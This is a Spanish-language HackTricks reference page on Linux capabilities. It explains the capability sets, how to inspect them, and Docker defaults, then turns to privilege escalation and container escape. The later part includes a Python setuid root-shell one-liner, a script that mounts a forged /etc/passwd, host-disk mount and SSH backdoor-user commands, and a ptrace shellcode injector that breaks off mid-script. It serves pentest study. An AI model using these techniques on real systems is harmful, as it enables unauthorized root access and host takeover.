Linux Capabilities

Apoya a HackTricks

​​​​​​​​​RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.\

Capacidades de Linux

Las capacidades de Linux dividen los privilegios de root en unidades más pequeñas y distintas, permitiendo que los procesos tengan un subconjunto de privilegios. Esto minimiza los riesgos al no otorgar privilegios de root completos innecesariamente.

El Problema:

  • Los usuarios normales tienen permisos limitados, afectando tareas como abrir un socket de red que requiere acceso de root.

Conjuntos de Capacidades:

  1. Hereditarias (CapInh):

  • Propósito: Determina las capacidades transmitidas desde el proceso padre.

  • Funcionalidad: Cuando se crea un nuevo proceso, hereda las capacidades de su padre en este conjunto. Útil para mantener ciertos privilegios a través de la creación de procesos.

  • Restricciones: Un proceso no puede adquirir capacidades que su padre no poseía.

  1. Efectivas (CapEff):

  • Propósito: Representa las capacidades reales que un proceso está utilizando en cualquier momento.

  • Funcionalidad: Es el conjunto de capacidades que el kernel verifica para otorgar permiso para varias operaciones. Para archivos, este conjunto puede ser una bandera que indica si las capacidades permitidas del archivo deben considerarse efectivas.

  • Significado: El conjunto efectivo es crucial para las verificaciones inmediatas de privilegios, actuando como el conjunto activo de capacidades que un proceso puede usar.

  1. Permitidas (CapPrm):

  • Propósito: Define el conjunto máximo de capacidades que un proceso puede poseer.

  • Funcionalidad: Un proceso puede elevar una capacidad del conjunto permitido a su conjunto efectivo, dándole la habilidad de usar esa capacidad. También puede eliminar capacidades de su conjunto permitido.

  • Límite: Actúa como un límite superior para las capacidades que un proceso puede tener, asegurando que un proceso no exceda su alcance de privilegios predefinido.

  1. Limitadas (CapBnd):

  • Propósito: Establece un techo sobre las capacidades que un proceso puede adquirir durante su ciclo de vida.

  • Funcionalidad: Incluso si un proceso tiene una cierta capacidad en su conjunto heredable o permitido, no puede adquirir esa capacidad a menos que también esté en el conjunto limitado.

  • Caso de uso: Este conjunto es particularmente útil para restringir el potencial de escalada de privilegios de un proceso, añadiendo una capa extra de seguridad.

  1. Ambientales (CapAmb):

  • Propósito: Permite que ciertas capacidades se mantengan a través de una llamada al sistema execve, que normalmente resultaría en un reinicio completo de las capacidades del proceso.

  • Funcionalidad: Asegura que los programas no SUID que no tienen capacidades de archivo asociadas puedan retener ciertos privilegios.

  • Restricciones: Las capacidades en este conjunto están sujetas a las limitaciones de los conjuntos heredables y permitidos, asegurando que no excedan los privilegios permitidos del proceso.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

Para más información, consulta:

Capacidades de Procesos y Binarios

Capacidades de Procesos

Para ver las capacidades de un proceso en particular, utiliza el archivo status en el directorio /proc. Como proporciona más detalles, limitemos la información solo a la relacionada con las capacidades de Linux. Ten en cuenta que para todos los procesos en ejecución, la información de capacidades se mantiene por hilo; para los binarios en el sistema de archivos, se almacena en atributos extendidos.

Puedes encontrar las capacidades definidas en /usr/include/linux/capability.h

Puedes encontrar las capacidades del proceso actual en cat /proc/self/status o haciendo capsh --print y de otros usuarios en /proc/<pid>/status

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

Este comando debería devolver 5 líneas en la mayoría de los sistemas.

  • CapInh = Capacidades heredadas

  • CapPrm = Capacidades permitidas

  • CapEff = Capacidades efectivas

  • CapBnd = Conjunto de límites

  • CapAmb = Conjunto de capacidades ambientales

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Estos números hexadecimales no tienen sentido. Usando la utilidad capsh podemos decodificarlos en el nombre de las capacidades.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Vamos a revisar ahora las capabilities utilizadas por ping:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Aunque eso funciona, hay otra forma más fácil. Para ver las capacidades de un proceso en ejecución, simplemente usa la herramienta getpcaps seguida de su ID de proceso (PID). También puedes proporcionar una lista de IDs de proceso.

getpcaps 1234

Vamos a verificar aquí las capacidades de tcpdump después de haberle otorgado al binario suficientes capacidades (cap_net_admin y cap_net_raw) para espiar la red (tcpdump se está ejecutando en el proceso 9562):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Como puedes ver, las capacidades dadas corresponden con los resultados de las 2 formas de obtener las capacidades de un binario. La herramienta getpcaps utiliza la llamada al sistema capget() para consultar las capacidades disponibles para un hilo particular. Esta llamada al sistema solo necesita proporcionar el PID para obtener más información.

Capacidades de los Binarios

Los binarios pueden tener capacidades que se pueden usar mientras se ejecutan. Por ejemplo, es muy común encontrar el binario ping con la capacidad cap_net_raw:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

Puedes buscar binarios con capacidades usando:

getcap -r / 2>/dev/null

Eliminando capacidades con capsh

Si eliminamos las capacidades CAP_NET_RAW para ping, entonces la utilidad ping ya no debería funcionar.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Además de la salida de capsh en sí, el comando tcpdump también debería generar un error.

/bin/bash: /usr/sbin/tcpdump: Operación no permitida

El error muestra claramente que el comando ping no tiene permiso para abrir un socket ICMP. Ahora sabemos con certeza que esto funciona como se esperaba.

Eliminar Capacidades

Puedes eliminar las capacidades de un binario con

setcap -r </path/to/binary>

Capacidades de Usuario

Aparentemente es posible asignar capacidades también a los usuarios. Esto probablemente significa que cada proceso ejecutado por el usuario podrá utilizar las capacidades del usuario. Basado en esto, esto y esto, se deben configurar algunos archivos para otorgar a un usuario ciertas capacidades, pero el que asigna las capacidades a cada usuario será /etc/security/capability.conf. Ejemplo de archivo:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Capacidades del Entorno

Compilando el siguiente programa es posible generar un shell bash dentro de un entorno que proporciona capacidades.

ambient.c
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

Dentro del bash ejecutado por el binario ambiental compilado es posible observar las nuevas capacidades (un usuario regular no tendrá ninguna capacidad en la sección "actual").

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Solo puedes agregar capacidades que estén presentes en ambos conjuntos, el permitido y el heredable.

Binarios conscientes de capacidades / Binarios tontos en capacidades

Los binarios conscientes de capacidades no usarán las nuevas capacidades otorgadas por el entorno, sin embargo, los binarios tontos en capacidades las usarán ya que no las rechazarán. Esto hace que los binarios tontos en capacidades sean vulnerables dentro de un entorno especial que otorga capacidades a los binarios.

Capacidades del servicio

Por defecto, un servicio que se ejecuta como root tendrá asignadas todas las capacidades, y en algunas ocasiones esto puede ser peligroso. Por lo tanto, un archivo de configuración del servicio permite especificar las capacidades que deseas que tenga, y el usuario que debería ejecutar el servicio para evitar ejecutar un servicio con privilegios innecesarios:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Capabilities in Docker Containers

Por defecto, Docker asigna algunas capacidades a los contenedores. Es muy fácil verificar cuáles son estas capacidades ejecutando:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

​​​​​​​​​​RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.

Privesc/Container Escape

Las capacidades son útiles cuando quieres restringir tus propios procesos después de realizar operaciones privilegiadas (por ejemplo, después de configurar chroot y enlazar a un socket). Sin embargo, pueden ser explotadas al pasarles comandos o argumentos maliciosos que luego se ejecutan como root.

Puedes forzar capacidades en programas usando setcap, y consultar estas usando getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

El +ep significa que estás agregando la capacidad (“-” la eliminaría) como Efectiva y Permitida.

Para identificar programas en un sistema o carpeta con capacidades:

getcap -r / 2>/dev/null

Ejemplo de explotación

En el siguiente ejemplo, el binario /usr/bin/python2.6 se encuentra vulnerable a privesc:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capacidades necesarias para que tcpdump permita a cualquier usuario espiar paquetes:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

El caso especial de capacidades "vacías"

De la documentación: Tenga en cuenta que se pueden asignar conjuntos de capacidades vacíos a un archivo de programa, y así es posible crear un programa con set-user-ID-root que cambie el set-user-ID efectivo y guardado del proceso que ejecuta el programa a 0, pero no confiere capacidades a ese proceso. O, dicho de manera simple, si tienes un binario que:

  1. no es propiedad de root

  2. no tiene bits SUID/SGID establecidos

  3. tiene un conjunto de capacidades vacío (por ejemplo: getcap myelf devuelve myelf =ep)

entonces ese binario se ejecutará como root.

CAP_SYS_ADMIN

CAP_SYS_ADMIN es una capacidad de Linux altamente potente, a menudo equiparada a un nivel casi root debido a sus extensos privilegios administrativos, como montar dispositivos o manipular características del kernel. Si bien es indispensable para contenedores que simulan sistemas completos, CAP_SYS_ADMIN plantea desafíos de seguridad significativos, especialmente en entornos contenedorizados, debido a su potencial para la escalada de privilegios y el compromiso del sistema. Por lo tanto, su uso requiere evaluaciones de seguridad rigurosas y una gestión cautelosa, con una fuerte preferencia por eliminar esta capacidad en contenedores específicos de aplicaciones para adherirse al principio de menor privilegio y minimizar la superficie de ataque.

Ejemplo con binario

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Usando python, puedes montar un archivo passwd modificado encima del archivo passwd real:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

Y finalmente montar el archivo passwd modificado en /etc/passwd:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

Y podrás su como root usando la contraseña "password".

Ejemplo con entorno (Docker breakout)

Puedes verificar las capacidades habilitadas dentro del contenedor de docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Dentro de la salida anterior, puedes ver que la capacidad SYS_ADMIN está habilitada.

  • Montar

Esto permite que el contenedor de docker monte el disco del host y acceda a él libremente:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • Acceso completo

En el método anterior logramos acceder al disco del host de docker. En caso de que encuentres que el host está ejecutando un servidor ssh, podrías crear un usuario dentro del disco del host de docker y acceder a él a través de SSH:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

Esto significa que puedes escapar del contenedor inyectando un shellcode dentro de algún proceso que se esté ejecutando en el host. Para acceder a los procesos que se ejecutan dentro del host, el contenedor debe ejecutarse al menos con --pid=host.

CAP_SYS_PTRACE otorga la capacidad de utilizar funcionalidades de depuración y seguimiento de llamadas al sistema proporcionadas por ptrace(2) y llamadas de adjunto de memoria cruzada como process_vm_readv(2) y process_vm_writev(2). Aunque es poderoso para fines de diagnóstico y monitoreo, si CAP_SYS_PTRACE está habilitado sin medidas restrictivas como un filtro seccomp en ptrace(2), puede socavar significativamente la seguridad del sistema. Específicamente, puede ser explotado para eludir otras restricciones de seguridad, notablemente las impuestas por seccomp, como lo demuestran pruebas de concepto (PoC) como esta.

Ejemplo con binario (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.